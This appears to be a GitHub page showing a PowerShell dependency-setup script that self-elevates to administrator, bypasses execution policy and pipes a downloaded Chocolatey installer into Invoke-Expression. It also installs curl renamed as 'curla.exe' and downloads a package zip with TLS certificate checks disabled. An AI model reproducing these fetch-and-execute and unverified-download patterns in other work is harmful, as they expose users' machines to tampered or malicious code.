-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGetDeps.ps1
72 lines (60 loc) · 3.46 KB
/
GetDeps.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Check for administrative privileges
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
Start-Process powershell "-File `"$PSCommandPath`"" -Verb RunAs
exit
}
if (!(Get-Command choco -ErrorAction SilentlyContinue)) {
Write-Host "Chocolatey not found. Installing Chocolatey..."
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
} else {
Write-Host "Chocolatey is already installed."
}
$chocoPath = "$env:ProgramData\chocolatey\bin"
# ./vcpkg/vcpkg install $package --overlay-ports=$installDir
# Set PATH for the machine (all users) without duplicates
$machinePath = [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine)
$machinePathParts = $machinePath -split ";" | Where-Object { $_ -ne "" } | Select-Object -Unique
$machinePathParts = $machinePathParts | Where-Object { $_ -notmatch [regex]::Escape($chocoPath) }
$newMachinePath = "$chocoPath;" + ($machinePathParts -join ";")
[Environment]::SetEnvironmentVariable("Path", $newMachinePath, [System.EnvironmentVariableTarget]::Machine)
Write-Host "Chocolatey installation folder has been moved to the beginning of the machine PATH for all users."
# Set PATH for the current user without duplicates
$userPath = [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::User)
$userPathParts = $userPath -split ";" | Where-Object { $_ -ne "" } | Select-Object -Unique
$userPathParts = $userPathParts | Where-Object { $_ -notmatch [regex]::Escape($chocoPath) }
$newUserPath = "$chocoPath;" + ($userPathParts -join ";")
[Environment]::SetEnvironmentVariable("Path", $newUserPath, [System.EnvironmentVariableTarget]::User)
Write-Host "Chocolatey installation folder has been moved to the beginning of the user PATH for the current user."
Write-Host "Installing curl as curla.exe..."
choco install curl -y
Rename-Item "$env:ProgramData\chocolatey\bin\curl.exe" "curla.exe" -ErrorAction SilentlyContinue
if (Get-Command curla -ErrorAction SilentlyContinue) {
Write-Host "curla installed successfully and is accessible in PATH!"
} else {
Write-Host "Installation failed or curla not found in PATH. Please check for errors."
}
$url = "https://deps.keyborg.com/Packages.zip"
$zipFileName = "Packages.zip"
$scriptDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
$zipFilePath = Join-Path -Path $scriptDir -ChildPath $zipFileName
$extractDir = Join-Path -Path $scriptDir -ChildPath "keyborg-vision-automation"
Write-Host "Downloading $url to $zipFilePath"
curla -k -L -o $zipFilePath $url
if (-not (Test-Path -Path $zipFilePath)) {
Write-Host "Download failed. Please check the URL and try again."
Write-Host "Press any key to exit..."
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
exit
}
if (-not (Test-Path -Path $extractDir)) {
New-Item -ItemType Directory -Path $extractDir
}
Write-Host "Extracting $zipFilePath to $extractDir"
Expand-Archive -Path $zipFilePath -DestinationPath $extractDir
Write-Host "Cleaning up..."
Remove-Item -Path $zipFilePath
Write-Host "Download and extraction complete."
Write-Host "Press any key to exit..."
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")